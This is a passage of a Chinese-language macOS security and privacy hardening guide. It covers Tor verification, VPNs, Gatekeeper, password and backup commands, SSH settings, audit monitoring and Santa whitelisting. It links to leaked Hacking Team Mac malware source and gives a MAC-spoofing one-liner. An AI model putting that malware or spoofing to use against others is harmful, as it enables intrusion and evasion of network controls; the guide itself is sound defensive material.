the owner. Primary key fingerprint: EF6E 286D DA85 EA2A 4BA7 DE68 4E2C 6E87 9329 8290 Subkey fingerprint: BA1E E421 BBB4 5263 180E 1FC7 2E1A C68E D408 14E0 ``` 确保 `Good signature from "Tor Browser Developers (signing key) <torbrowser@torproject.org>"`出现在输出结果中。关于密钥没被认证的警告没有危害的,因为它还没被手动分配信任。 看 [How to verify signatures for packages](https://www.torproject.org/docs/verifying-signatures.html) 获得更多信息。 要完成安装 Tor 浏览器,打开磁盘镜像,拖动它到应用文件夹里,或者这样: ``` $ hdiutil mount TorBrowser-6.0.5-osx64_en-US.dmg $ cp -rv /Volumes/Tor\ Browser/TorBrowser.app /Applications ``` 也可以验证是否这个 Tor 应用程序是由名为 **MADPSAYN6T** 的 Apple 开发者账号进行签名编译的: ``` $ codesign -dvv /Applications/TorBrowser.app Executable=/Applications/TorBrowser.app/Contents/MacOS/firefox Identifier=org.mozilla.tor browser Format=app bundle with Mach-O thin (x86_64) CodeDirectory v=20200 size=247 flags=0x0(none) hashes=5+3 location=embedded Library validation warning=OS X SDK version before 10.9 does not support Library Validation Signature size=4247 Authority=Developer ID Application: The Tor Project, Inc (MADPSAYN6T) Authority=Developer ID Certification Authority Authority=Apple Root CA Signed Time=Nov 30, 2016, 10:40:34 AM Info.plist entries=21 TeamIdentifier=MADPSAYN6T Sealed Resources version=2 rules=12 files=130 Internal requirements count=1 size=184 ``` 为了查看证书的详细内容,可以使用 `codesign` 提取并且使用 `openssl` 对它进行解码: ``` $ codesign -d --extract-certificates /Applications/TorBrowser.app Executable=/Applications/TorBrowser.app/Contents/MacOS/firefox $ file codesign* codesign0: data codesign1: data codesign2: data $ openssl x509 -inform der -in codesign0 -subject -issuer -startdate -enddate -noout subject= /UID=MADPSAYN6T/CN=Developer ID Application: The Tor Project, Inc (MADPSAYN6T)/OU=MADPSAYN6T/O=The Tor Project, Inc/C=US issuer= /CN=Developer ID Certification Authority/OU=Apple Certification Authority/O=Apple Inc./C=US notBefore=Apr 12 22:40:13 2016 GMT notAfter=Apr 13 22:40:13 2021 GMT $ openssl x509 -inform der -in codesign0 -fingerprint -noout SHA1 Fingerprint=95:80:54:F1:54:66:F3:9C:C2:D8:27:7A:29:21:D9:61:11:93:B3:E8 $ openssl x509 -inform der -in codesign0 -fingerprint -sha256 -noout SHA256 Fingerprint=B5:0D:47:F0:3E:CB:42:B6:68:1C:6F:38:06:2B:C2:9F:41:FA:D6:54:F1:29:D3:E4:DD:9C:C7:49:35:FF:F5:D9 ``` Tor 流量对于[出口节点](https://en.wikipedia.org/wiki/Tor_anonymity_network#Exit_node_eavesdropping)(不能被一个网络窃听者读取)是**加密的**, Tor 是**可以**被发现的- 例如,TLS 握手“主机名”将会以明文显示: ``` $ sudo tcpdump -An "tcp" | grep "www" listening on pktap, link-type PKTAP (Apple DLT_PKTAP), capture size 262144 bytes .............". ...www.odezz26nvv7jeqz1xghzs.com......... .............#.!...www.bxbko3qi7vacgwyk4ggulh.com......... .6....m.....>...:.........|../* Z....W....X=..6...C../....................................0...0..0.......'....F./0.. *.H........0%1#0!..U....www.b6zazzahl3h3faf4x2.com0...160402000000Z..170317000000Z0'1%0#..U....www.tm3ddrghe22wgqna5u8g.net0..0.. ``` 查看 [Tor Protocol Specification](https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt) 和 [Tor/TLSHistory](https://trac.torproject.org/projects/tor/wiki/org/projects/Tor/TLSHistory) 获得更多信息。 另外,你可能也希望使用一个 [pluggable transport](https://www.torproject.org/docs/pluggable-transports.html),例如 [Yawning/obfs4proxy](https://github.com/Yawning/obfs4) 或 [SRI-CSL/stegotorus](https://github.com/SRI-CSL/stegotorus) 来混淆 Tor 流量。 这能通过建立你自己的 [Tor relay](https://www.torproject.org/docs/tor-relay-debian.html) 或找到一个已存在的私有或公用的 [bridge](https://www.torproject.org/docs/bridges.html.en#RunningABridge) 来作为一个混淆入口节点来实现。 对于额外的安全性,在 [VirtualBox](https://www.virtualbox.org/wiki/Downloads) 或 [VMware](https://www.vmware.com/products/fusion),可视化的 [GNU/Linux](http://www.brianlinkletter.com/installing-debian-linux-in-a-virtualbox-virtual-machine/) 或 [BSD](http://www.openbsd.org/faq/faq4.html) 机器里用 Tor。 最后,记得 Tor 网络提供了[匿名](https://www.privateinternetaccess.com/blog/2013/10/how-does-privacy-differ-from-anonymity-and-why-are-both-important/),这并不等于隐私。Tor 网络不一定能防止一个全球的窃听者能获得流量统计和[相关性](https://blog.torproject.org/category/tags/traffic-correlation)。你也可以阅读 [Seeking Anonymity in an Internet Panopticon](http://bford.info/pub/net/panopticon-cacm.pdf) 和 [Traffic Correlation on Tor by Realistic Adversaries](http://www.ohmygodel.com/publications/usersrouted-ccs13.pdf)。 阅读 [Invisible Internet Project (I2P)](https://geti2p.net/en/about/intro) 和它的 [Tor 对比](https://geti2p.net/en/comparison/tor)。 ## VPN 如果你在未信任的网络使用 Mac - 机场,咖啡厅等 - 你的网络流量会被监控并可能被篡改。 用一个 VPN 是个好想法,它能用一个你信任的提供商加密**所有**输出的网络流量。举例说如何建立并拥有自己的 VPN,阅读 [drduh/Debian-Privacy-Server-Guide](https://github.com/drduh/Debian-Privacy-Server-Guide)。 不要盲目地还没理解整个流程和流量将如何被传输就为一个 VPN 服务签名。如果你不理解 VPN 是怎样工作的或不熟悉软件的使用,你就最好别用它。 当选择一个 VPN 服务或建立你自己的服务时,确保研究过协议,密钥交换算法,认证机制和使用的加密类型。诸如 [PPTP](https://en.wikipedia.org/wiki/Point-to-Point_Tunneling_Protocol#Security) 这样的一些协议,应该避免支持 [OpenVPN](https://en.wikipedia.org/wiki/OpenVPN)。 当 VPN 被中断或失去连接时,一些客户端可能通过下一个可用的接口发送流量。查看 [scy/8122924](https://gist.github.com/scy/8122924) 研究下如何允许流量只通过 VPN。 另一些脚本会关闭系统,所以只能通过 VPN 访问网络,这就是 the Voodoo Privacy project - [sarfata/voodooprivacy](https://github.com/sarfata/voodooprivacy) 的一部分,有一个更新的指南用来在一个虚拟机上([hwdsl2/setup-ipsec-vpn](https://github.com/hwdsl2/setup-ipsec-vpn))或一个 docker 容器([hwdsl2/docker-ipsec-vpn-server](https://github.com/hwdsl2/docker-ipsec-vpn-server))上建立一个 IPSec VPN。 ## 病毒和恶意软件 面对[日益增长](https://www.documentcloud.org/documents/2459197-bit9-carbon-black-threat-research-report-2015.html)的恶意软件,Mac 还无法很好的防御这些病毒和恶意软件! 一些恶意软件捆绑在正版软件上,比如 [Java bundling Ask Toolbar](http://www.zdnet.com/article/oracle-extends-its-adware-bundling-to-include-java-for-macs/),还有 [Mac.BackDoor.iWorm](https://docs.google.com/document/d/1YOfXRUQJgMjJSLBSoLiUaSZfiaS_vU3aG4Bvjmz6Dxs/edit?pli=1) 这种和盗版软件捆绑到一块的。 [Malwarebytes Anti-Malware for Mac](https://www.malwarebytes.com/antimalware/mac/) 是一款超棒的应用,它可以帮你摆脱种类繁多的垃圾软件和其他恶意程序的困扰。 看看[恶意软件驻留在 Mac OS X 的方法](https://www.virusbtn.com/pdf/conference/vb2014/VB2014-Wardle.pdf) (pdf) 和[恶意软件在 OS X Yosemite 后台运行](https://www.rsaconference.com/events/us15/agenda/sessions/1591/malware-persistence-on-os-x-yosemite)了解各种恶意软件的功能和危害。 你可以定期运行 [Knock Knock](https://github.com/synack/knockknock) 这样的工具来检查在持续运行的应用(比如脚本,二进制程序)。但这种方法可能已经过时了。[Block Block](https://objective-see.com/products/blockblock.html) 和 [Ostiarius](https://objective-see.com/products/ostiarius.html) 这样的应用可能还有些帮助。可以在 [issue #90](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/90) 中查看相关警告。除此之外,使用 [Little Flocker](https://www.littleflocker.com/) 也能保护部分文件系统免遭非法写入,类似 Little Snitch 保护网络 (注意,该软件目前是 beta 版本,[谨慎使用](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/pull/128))。 **反病毒**软件是把双刃剑 -- 对于**高级**用户没什么用,却可能面临更多复杂攻击的威胁。然而对于 Mac **新手**用户可能是有用的,可以检测到“各种”恶意软件。不过也要考到额外的处理开销。 看看 [Sophail: Applied attacks against Antivirus](https://lock.cmpxchg8b.com/sophailv2.pdf) (pdf), [Analysis and Exploitation of an ESET Vulnerability](http://googleprojectzero.blogspot.ro/2015/06/analysis-and-exploitation-of-eset.html), [a trivial Avast RCE](https://code.google.com/p/google-security-research/issues/detail?id=546), [Popular Security Software Came Under Relentless NSA and GCHQ Attacks](https://theintercept.com/2015/06/22/nsa-gchq-targeted-kaspersky/), 和 [AVG: "Web TuneUP" extension multiple critical vulnerabilities](https://code.google.com/p/google-security-research/issues/detail?id=675). 因此,最好的防病毒方式是日常地防范。看看 [issue #44](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/44) 中的讨论。 macOS 上有很多本地提权漏洞,所以要小心那些从第三方网站或 HTTP([案例](http://arstechnica.com/security/2015/08/0-day-bug-in-fully-patched-os-x-comes-under-active-exploit-to-hijack-macs/))下载且运行受信或不受信的程序。 看看 [The Safe Mac](http://www.thesafemac.com/) 上过去和目前的 Mac 安全新闻。 也检查下 [Hacking Team](https://www.schneier.com/blog/archives/2015/07/hacking_team_is.html) 为 Mac OS 开发的恶意软件:[root installation for MacOS](https://github.com/hackedteam/vector-macos-root)、 [Support driver for Mac Agent](https://github.com/hackedteam/driver-macos) 和 [RCS Agent for Mac](https://github.com/hackedteam/core-macos),这是一个很好的示例,一些高级的恶意程序是如何在**用户空间**隐藏自己的(例如 `ps`、`ls`)。想了解更多的话,看看 [A Brief Analysis of an RCS Implant Installer](https://objective-see.com/blog/blog_0x0D.html) 和 [reverse.put.as](https://reverse.put.as/2016/02/29/the-italian-morons-are-back-what-are-they-up-to-this-time/)。 ## 系统完整性保护 [System Integrity Protection](https://support.apple.com/en-us/HT204899) (SIP) 这个安全特性源于 OS X 10.11 "El Capitan"。默认是开启的,不过[可以禁用](https://derflounder.wordpress.com/2015/10/01/system-integrity-protection-adding-another-layer-to-apples-security-model/),这可能需要更改某些系统设置,如删除根证书颁发机构或卸载某些启动守护进程。保持这项功能默认开启状态。 摘取自 [OS X 10.11 新增功能](https://developer.apple.com/library/prerelease/mac/releasenotes/MacOSX/WhatsNewInOSX/Articles/MacOSX10_11.html): > 一项新的安全政策,应用于每个正在运行的进程,包括特权代码和非沙盒中运行的代码。该策略对磁盘上和运行时的组件增加了额外的保护,只允许系统安装程序和软件更新修改系统二进制文件。不再允许代码注入和运行时附加系统二进制文件。 阅读 [What is the “rootless” feature in El Capitan, really?](https://apple.stackexchange.com/questions/193368/what-is-the-rootless-feature-in-el-capitan-really) [禁用 SIP](http://appleinsider.com/articles/16/11/17/system-integrity-protection-disabled-by-default-on-some-touch-bar-macbook-pros) 的一些 MacBook 已经售出。要验证 SIP 是否已启用,请使用命令 `csrutil status`,该命令应返回:`System Integrity Protection status: enabled.`。否则,通过恢复模式[启用 SIP](https://developer.apple.com/library/content/documentation/Security/Conceptual/System_Integrity_Protection_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html)。 ## Gatekeeper 和 XProtect **Gatekeeper** 和 **quarantine** 系统试图阻止运行(打开)未签名或恶意程序及文件。 **XProtect** 防止执行已知的坏文件和过时的版本插件,但并不能清除或停止现有的恶意软件。 两者都提供了对常见风险的一些保护,默认设置就好。 你也可以阅读 [Mac Malware Guide : How does Mac OS X protect me?](http://www.thesafemac.com/mmg-builtin/) 和 [Gatekeeper, XProtect and the Quarantine attribute](http://ilostmynotes.blogspot.com/2012/06/gatekeeper-xprotect-and-quarantine.html)。 **注意** Quarantine 会将下载的文件信息存储在 `~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`,这可能会造成隐私泄露的风险。简单的使用 `strings` 或下面的命令来检查文件: $ echo 'SELECT datetime(LSQuarantineTimeStamp + 978307200, "unixepoch") as LSQuarantineTimeStamp, LSQuarantineAgentName, LSQuarantineOriginURLString, LSQuarantineDataURLString from LSQuarantineEvent;' | sqlite3 /Users/$USER/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 阅读[这篇文章](http://www.zoharbabin.com/hey-mac-i-dont-appreciate-you-spying-on-me-hidden-downloads-log-in-os-x/)了解更多信息。 想永久禁用此项功能,[清除文件](https://superuser.com/questions/90008/how-to-clear-the-contents-of-a-file-from-the-command-line)和[让它不可更改](http://hints.macworld.com/article.php?story=20031017061722471): $ :>~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 $ sudo chflags schg ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 此外,macOS 附加元数据([HFS+ extended attributes](https://en.wikipedia.org/wiki/Extended_file_attributes#OS_X))来下载文件,能通过 `mdls` 和 `xattr` 指令来观察: ``` $ ls -l@ ~/Downloads/TorBrowser-6.0.8-osx64_en-US.dmg -rw-r--r--@ 1 drduh staff 59322237 Dec 1 12:00 TorBrowser-6.0.8-osx64_en-US.dmg com.apple.metadata:kMDItemWhereFroms 186 com.apple.quarantine 68 $ mdls ~/Downloads/TorBrowser-6.0.8-osx64_en-US.dmg _kMDItemOwnerUserID = 501 kMDItemContentCreationDate = 2016-12-01 12:00:00 +0000 kMDItemContentModificationDate = 2016-12-01 12:00:00 +0000 kMDItemContentType = "com.apple.disk-image-udif" kMDItemContentTypeTree = ( "public.archive", "public.item", "public.data", "public.disk-image", "com.apple.disk-image", "com.apple.disk-image-udif" ) kMDItemDateAdded = 2016-12-01 12:00:00 +0000 kMDItemDisplayName = "TorBrowser-6.0.8-osx64_en-US.dmg" kMDItemFSContentChangeDate = 2016-12-01 12:00:00 +0000 kMDItemFSCreationDate = 2016-12-01 12:00:00 +0000 kMDItemFSCreatorCode = "" kMDItemFSFinderFlags = 0 kMDItemFSHasCustomIcon = (null) kMDItemFSInvisible = 0 kMDItemFSIsExtensionHidden = 0 kMDItemFSIsStationery = (null) kMDItemFSLabel = 0 kMDItemFSName = "TorBrowser-6.0.8-osx64_en-US.dmg" kMDItemFSNodeCount = (null) kMDItemFSOwnerGroupID = 5000 kMDItemFSOwnerUserID = 501 kMDItemFSSize = 60273898 kMDItemFSTypeCode = "" kMDItemKind = "Disk Image" kMDItemLogicalSize = 60273898 kMDItemPhysicalSize = 60276736 kMDItemWhereFroms = ( "https://dist.torproject.org/torbrowser/6.0.8/TorBrowser-6.0.8-osx64_en-US.dmg", "https://www.torproject.org/projects/torbrowser.html.en" ) $ xattr -l TorBrowser-6.0.8-osx64_en-US.dmg com.apple.metadata:kMDItemWhereFroms: 00000000  62 70 6C 69 73 74 30 30 A2 01 02 5F 10 4D 68 74  |bplist00..._.Mht| 00000010  74 70 73 3A 2F 2F 64 69 73 74 2E 74 6F 72 70 72  |tps://dist.torpr| 00000020  6F 6A 65 63 74 2E 6F 72 67 2F 74 6F 72 62 72 6F  |oject.org/torbro| 00000030  77 73 65 72 2F 36 2E 30 2E 38 2F 54 6F 72 42 72  |wser/6.0.8/TorBr| 00000040  6F 77 73 65 72 2D 36 2E 30 2E 38 2D 6F 73 78 36  |owser-6.0.8-osx6| 00000050  34 5F 65 6E 2D 55 53 2E 64 6D 67 5F 10 36 68 74  |4_en-US.dmg_.6ht| 00000060  74 70 73 3A 2F 2F 77 77 77 2E 74 6F 72 70 72 6F  |tps://www.torpro| 00000070  6A 65 63 74 2E 6F 72 67 2F 70 72 6F 6A 65 63 74  |ject.org/project| 00000080  73 2F 74 6F 72 62 72 6F 77 73 65 72 2E 68 74 6D  |s/torbrowser.htm| 00000090  6C 2E 65 6E 08 0B 5B 00 00 00 00 00 00 01 01 00  |l.en..[.........| 000000A0  00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00  |................| 000000B0  00 00 00 00 00 00 94                             |.......| 000000b7 com.apple.quarantine: 0081;58519ffa;Google Chrome.app;1F032CAB-F5A1-4D92-84EB-CBECA971B7BC ``` 可以使用 `-d` 指令标志移除原数据属性: ``` $ xattr -d com.apple.metadata:kMDItemWhereFroms ~/Downloads/TorBrowser-6.0.5-osx64_en-US.dmg $ xattr -d com.apple.quarantine ~/Downloads/TorBrowser-6.0.5-osx64_en-US.dmg $ xattr -l ~/Downloads/TorBrowser-6.0.5-osx64_en-US.dmg [No output after removal.] ``` ## 密码 你可以使用 OpenSSL 生成强密码: $ openssl rand -base64 30 LK9xkjUEAemc1gV2Ux5xqku+PDmMmCbSTmwfiMRI 或者 GPG: $ gpg --gen-random -a 0 30 4/bGZL+yUEe8fOqQhF5V01HpGwFSpUPwFcU3aOWQ 或 `/dev/urandom` 输出: $ dd if=/dev/urandom bs=1 count=30 2>/dev/null | base64 CbRGKASFI4eTa96NMrgyamj8dLZdFYBaqtWUSxKe 还可以控制字符集: $ LANG=C tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 40 | head -n 1 jm0iKn7ngQST8I0mMMCbbi6SKPcoUWwCb5lWEjxK $ LANG=C tr -dc 'DrDuh0-9' < /dev/urandom | fold -w 40 | head -n 1 686672u2Dh7r754209uD312hhh23uD7u41h3875D 你也可以用 **Keychain Access(钥匙串访问)**生成一个令人难忘的密码,或者用 [anders/pwgen](https://github.com/anders/pwgen) 这样的命令行生成。 钥匙串使用 [PBKDF2 派生密钥](https://en.wikipedia.org/wiki/PBKDF2)加密,是个**非常安全**存储凭据的地方。看看 [Breaking into the OS X keychain](http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain)。还要注意钥匙串[不加密](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/118)的密码对应密码输入的名称。 或者,可以自己用 GnuPG (基于 [drduh/pwd.sh](https://github.com/drduh/pwd.sh) 密码管理脚本的一个插件)管理一个加密的密码文件。 除密码外,确保像 GitHub、 Google 账号、银行账户这些网上的账户,开启[两步验证](https://en.wikipedia.org/wiki/Two-factor_authentication)。 看看 [Yubikey](https://www.yubico.com/products/yubikey-hardware/yubikey-neo/) 的两因素和私钥(如:ssh、gpg)硬件令牌。 阅读 [drduh/YubiKey-Guide](https://github.com/drduh/YubiKey-Guide) 和 [trmm.net/Yubikey](https://trmm.net/Yubikey)。两个 Yubikey 的插槽之一可以通过编程来生成一个长的静态密码(例如可以与短的,记住的密码结合使用)。 除了登录和其他 PAM 模块,也能用 Yubikey 来使你的登录和 sudo 更安全,这里有份来自[Yubico](https://www.yubico.com/wp-content/uploads/2016/02/Yubico_YubiKeyMacOSXLogin_en.pdf)的 pdf 文档。Yubikey 有点贵,这有个更便宜的替代品,但是没有它好,[U2F Zero](https://www.u2fzero.com/)。这有份文档来[启动它](https://microamps.gibsjose.com/u2f-authentication-on-os-x/)。 ## 备份 备份到外部介质或在线服务之前,总是先对本地文件进行加密。 一种方法是使用 GPG 对称加密,你选择一个密码。 加密一个文件夹: $ tar zcvf - ~/Downloads | gpg -c > ~/Desktop/backup-$(date +%F-%H%M).tar.gz.gpg 解密文档: $ gpg -o ~/Desktop/decrypted-backup.tar.gz -d ~/Desktop/backup-2015-01-01-0000.tar.gz.gpg && \ tar zxvf ~/Desktop/decrypted-backup.tar.gz 你也可以用 **Disk Utility** 或 `hdiutil` 创建加密卷: $ hdiutil create ~/Desktop/encrypted.dmg -encryption -size 1g -volname "Name" -fs JHFS+ 这个 `hdiutil` 也会用 `-type SPARSE-BUNDLE` 模式。这一些sparse bundle可以让你加快备份。应为第一次所有的数据要传过去。但是第二、三等次只用传你改变的数据。 你可以用 `rsync` 传你的加密过的数据: ```console rsync --recursive --times --progress --delete --verbose --stats MyEncryptedDrive.sparsebundle user@server:/path/to/backup ``` 也可以考虑使用下面的应用和服务:[SpiderOak](https://spideroak.com/)、[Arq](https://www.arqbackup.com/)、[Espionage](https://www.espionageapp.com/) 和 [restic](https://restic.github.io/)。 ## Wi-Fi macOS 会记住它连接过的接入点。比如所有无线设备,每次搜寻网络的时候,Mac 将会显示所有它记住的接入点名称(如 *MyHomeNetwork*) ,比如每次从休眠状态唤醒设备的时候。 这就有泄漏隐私的风险,所以当不再需要的时候最好从列表中移除这些连接过的网络, 在 **System Preferences** > **Network** > **Advanced** 。 看看 [Signals from the Crowd: Uncovering Social Relationships through Smartphone Probes](http://conferences.sigcomm.org/imc/2013/papers/imc148-barberaSP106.pdf) (pdf) 和 [Wi-Fi told me everything about you](http://confiance-numerique.clermont-universite.fr/Slides/M-Cunche-2014.pdf) (pdf)。 保存的 Wi-Fi 信息 (SSID、最后一次连接等)可以在 `/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist` 中找到。 你可能希望在连接到新的和不可信的无线网络之前[伪造网卡 MAC 地址](https://en.wikipedia.org/wiki/MAC_spoofing),以减少被动特征探测: $ sudo ifconfig en0 ether $(openssl rand -hex 6 | sed 's%\(..\)%\1:%g; s%.$%%') **注意**每次启动,MAC 地址将重置为硬件默认地址。 了解下 [feross/SpoofMAC](https://github.com/feross/SpoofMAC). 最后,WEP 保护在无线网络是[不安全](http://www.howtogeek.com/167783/htg-explains-the-difference-between-wep-wpa-and-wpa2-wireless-encryption-and-why-it-matters/)的,你应该尽量选择连接 **WPA2** 保护网络,可以减少被窃听的风险。 ## SSH 对于向外的 ssh 连接,使用硬件或密码保护的秘钥,[设置](http://nerderati.com/2011/03/17/simplify-your-life-with-an-ssh-config-file/)远程 hosts 并考虑对它们进行[哈希](http://nms.csail.mit.edu/projects/ssh/),以增强安全性。 将这几个[配置项](https://www.freebsd.org/cgi/man.cgi?query=ssh_config&sektion=5)加到 `~/.ssh/config`: Host * PasswordAuthentication no ChallengeResponseAuthentication no HashKnownHosts yes **注意** [macOS Sierra 默认永久记住 SSH 秘钥密码](https://openradar.appspot.com/28394826)。添加配置 `UseKeyChain no` 来关闭这项功能。 你也可以用 ssh 创建一个[加密隧道](http://blog.trackets.com/2014/05/17/ssh-tunnel-local-and-remote-port-forwarding-explained-with-examples.html)来发送数据,这有点类似于 VPN。 例如,在一个远程主机上使用 Privoxy: $ ssh -C -L 5555:127.0.0.1:8118 you@remote-host.tld $ sudo networksetup -setwebproxy "Wi-Fi" 127.0.0.1 5555 $ sudo networksetup -setsecurewebproxy "Wi-Fi" 127.0.0.1 5555 或者使用 ssh 连接作为 [SOCKS 代理](https://www.mikeash.com/ssh_socks.html): $ ssh -NCD 3000 you@remote-host.tld 默认情况下, macOS **没有** sshd ,也不允许**远程登陆**。 启用 sshd 且允许进入的 ssh 连接: $ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist 或者设置 **System Preferences** > **Sharing** 菜单。 如果你准备使用 sshd,至少禁用密码身份验证并考虑进一步[强化](https://stribika.github.io/2015/01/04/secure-secure-shell.html)配置。 找到 `/etc/sshd_config`,添加: ``` PasswordAuthentication no ChallengeResponseAuthentication no UsePAM no ``` 确认 sshd 是否启用: $ sudo lsof -Pni TCP:22 ## 物理访问 时刻保证 Mac 物理安全。不要将 Mac 留在无人照看的酒店之类的地方。 有一种攻击就是通过物理访问,通过注入引导 ROM 来安装键盘记录器,偷走你的密码。看看这个案例 [Thunderstrike](https://trmm.net/Thunderstrike)。 有个工具 [usbkill](https://github.com/hephaest0s/usbkill) 可以帮助你,这是**"一个反监视断路开关,一旦发现 USB 端口发生改变就会关闭你的计算机"**。 考虑购买屏幕[隐私过滤器](https://www.amazon.com/s/ref=nb_sb_noss_2?url=node%3D15782001&field-keywords=macbook)防止别人偷瞄。 ## 系统监控 #### OpenBSM 监测 macOS 具有强大的 OpenBSM 审计功能。你可以使用它来监视进程执行、网络活动等等。 跟踪监测日志,使用 `praudit` 工具: ``` $ sudo praudit -l /dev/auditpipe header,201,11,execve(2),0,Thu Sep 1 12:00:00 2015, + 195 msec,exec arg,/Applications/.evilapp/rootkit,path,/Applications/.evilapp/rootkit,path,/Applications/.evilapp/rootkit,attribute,100755,root,wheel,16777220,986535,0,subject,drduh,root,wheel,root,wheel,412,100005,50511731,0.0.0.0,return,success,0,trailer,201, header,88,11,connect(2),0,Thu Sep 1 12:00:00 2015, + 238 msec,argument,1,0x5,fd,socket-inet,2,443,173.194.74.104,subject,drduh,root,wheel,root,wheel,326,100005,50331650,0.0.0.0,return,failure : Operation now in progress,4354967105,trailer,88 header,111,11,OpenSSH login,0,Thu Sep 1 12:00:00 2015, + 16 msec,subject_ex,drduh,drduh,staff,drduh,staff,404,404,49271,::1,text,successful login drduh,return,success,0,trailer,111, ``` 看看 `audit`、`praudit`、`audit_control` 的操作手册,其它文件在 `/etc/security`目录下。 **注意**虽然 `audit 手册` 上说 `-s` 标签会立即同步到配置中,实际上需要重启才能生效。 更多信息请看 [ilostmynotes.blogspot.com](http://ilostmynotes.blogspot.com/2013/10/openbsm-auditd-on-os-x-these-are-logs.html) 和 [derflounder.wordpress.com](https://derflounder.wordpress.com/2012/01/30/openbsm-auditing-on-mac-os-x/) 上的文章。 #### DTrace `iosnoop` 监控磁盘 I/O `opensnoop` 监控文件打开 `execsnoop` 监控进程执行 `errinfo` 监控失败的系统调用 `dtruss` 监控所有系统调用 运行命令 `man -k dtrace` 去了解更多信息。 **注意**[系统完整性保护](https://github.com/drduh/OS-X-Security-and-Privacy-Guide#system-integrity-protection)和 DTrace [冲突](http://internals.exposed/blog/dtrace-vs-sip.html),所以这些工具可能用不上了。 #### 运行 `ps -ef` 列出所有正在运行的进程。 你也可以通过**活动监视器**来查看进程。 `launchctl list` 和 `sudo launchctl list` 分别列出用户运行和加载的程序、系统启动守护程序和代理。 #### 网络 列出公开网络文件: $ sudo lsof -Pni 列出各种网络相关的数据结构的内容: $ sudo netstat -atln 你也可以通过命令行使用 [Wireshark](https://www.wireshark.org/)。 监控 DNS 查询和响应: ``` $ tshark -Y "dns.flags.response == 1" -Tfields \ -e frame.time_delta \ -e dns.qry.name \ -e dns.a \ -Eseparator=, ``` 监控 HTTP 请求和响应: ``` $ tshark -Y "http.request or http.response" -Tfields \ -e ip.dst \ -e http.request.full_uri \ -e http.request.method \ -e http.response.code \ -e http.response.phrase \ -Eseparator=/s ``` 监控 x509 证书: ``` $ tshark -Y "ssl.handshake.certificate" -Tfields \ -e ip.src \ -e x509sat.uTF8String \ -e x509sat.printableString \ -e x509sat.universalString \ -e x509sat.IA5String \ -e x509sat.teletexString \ -Eseparator=/s -Equote=d ``` 也可以考虑简单的网络监控程序 [BonzaiThePenguin/Loading](https://github.com/BonzaiThePenguin/Loading)。 ## 二进制白名单 [google/santa](https://github.com/google/santa/) 是一款为 Google 公司 Macintosh 团队开发的一款安全软件,而且是开源的。 > Santa 是 macOS 上一个二进制白名单/黑名单系统。它由多个部分组成,一个是监控执行程序的内核扩展,基于 SQLite 数据库内容进行执行决策的用户级守护进程,决定拦截的情况下通知用户的一个 GUI 代理,以及用于管理系统和数据库同步服务的命令行实用程序。 Santa 使用[内核授权 API](https://developer.apple.com/library/content/technotes/tn2127/_index.html) 来监视和允许/禁止在内核中执行二进制文件。二进制文件可以是经过唯一哈希或开发者证书签名的白/黑名单。Santa 可以用来只允许执行可信代码,或者阻止黑名单中已知恶意软件在 Mac 上运行,和 Windows 软件 Bit9 类似。 **注意** Santa 目前还没有管理规则的用户图形界面。下面的教程是为高级用户准备的! 安装 Santa,先访问[发布](https://github.com/google/santa/releases)页面,下载最新的磁盘镜像,挂载然后安装相关软件包: ``` $ hdiutil mount ~/Downloads/santa-0.9.14.dmg $ sudo installer -pkg /Volumes/santa-0.9.14/santa-0.9.14.pkg -tgt / ``` Santa 默认安装为 "Monitor" 模式 (不拦截,只记录),有两个规则:一条是为了 Apple 二进制,另一条是为了 Santa 软件本身。 验证 Santa 是否在运行,内核模块是否加载: ``` $ santactl status >>> Daemon Info Mode | Monitor File Logging | No Watchdog CPU Events | 0 (Peak: 0.00%) Watchdog RAM Events | 0 (Peak: 0.00MB) >>> Kernel Info Kernel cache count | 0 >>> Database Info Binary Rules | 0 Certificate Rules | 2 Events Pending Upload | 0 $ ps -ef | grep "[s]anta" 0 786 1 0 10:01AM ?? 0:00.39 /Library/Extensions/santa-driver.kext/Contents/MacOS/santad --syslog $ kextstat | grep santa 119 0 0xffffff7f822ff000 0x6000 0x6000 com.google.santa-driver (0.9.14) 693D8E4D-3161-30E0-B83D-66A273CAE026 <5 4 3 1> ``` 创建一个黑名单规则来阻止 iTunes 运行: $ sudo santactl rule --blacklist --path /Applications/iTunes.app/ Added rule for SHA-256: e1365b51d2cb2c8562e7f1de36bfb3d5248de586f40b23a2ed641af2072225b3. 试试打开 iTunes ,它会被阻止运行。 $ open /Applications/iTunes.app/ LSOpenURLsWithRole() failed with error -10810 for the file /Applications/iTunes.app. <img width="450" alt="Santa block dialog when attempting to run a blacklisted program" src="https://cloud.githubusercontent.com/assets/12475110/21062284/14ddde88-be1e-11e6-8e9b-32f8a44c0cf6.png"> 移除规则: $ sudo santactl rule --remove --path /Applications/iTunes.app/ Removed rule for SHA-256: e1365b51d2cb2c8562e7f1de36bfb3d5248de586f40b23a2ed641af2072225b3. 打开 iTunes: $ open /Applications/iTunes.app/ [iTunes will open successfully] 创建一个新的 C 语言小程序: ``` $ cat <<EOF > foo.c > #include <stdio.h> > main() { printf("Hello World\n”); } > EOF ``` 用 GCC 编译该程序(需要安装 Xcode 或者命令行工具): ``` $ gcc -o foo foo.c $ file foo foo: Mach-O 64-bit executable x86_64 $ codesign -d foo foo: code object is not signed at all ``` 运行它: ``` $ ./foo Hello World ``` 将 Santa 切换为 “Lockdown” 模式,这种情况下只允许白名单内二进制程序运行: $ sudo defaults write /var/db/santa/config.plist ClientMode -int 2 试试运行未签名的二进制: ``` $ ./foo bash: ./foo: Operation not permitted Santa The following application has been blocked from executing because its trustworthiness cannot be determined. Path: /Users/demouser/foo Identifier: 4e11da26feb48231d6e90b10c169b0f8ae1080f36c168ffe53b1616f7505baed Parent: bash (701) ``` 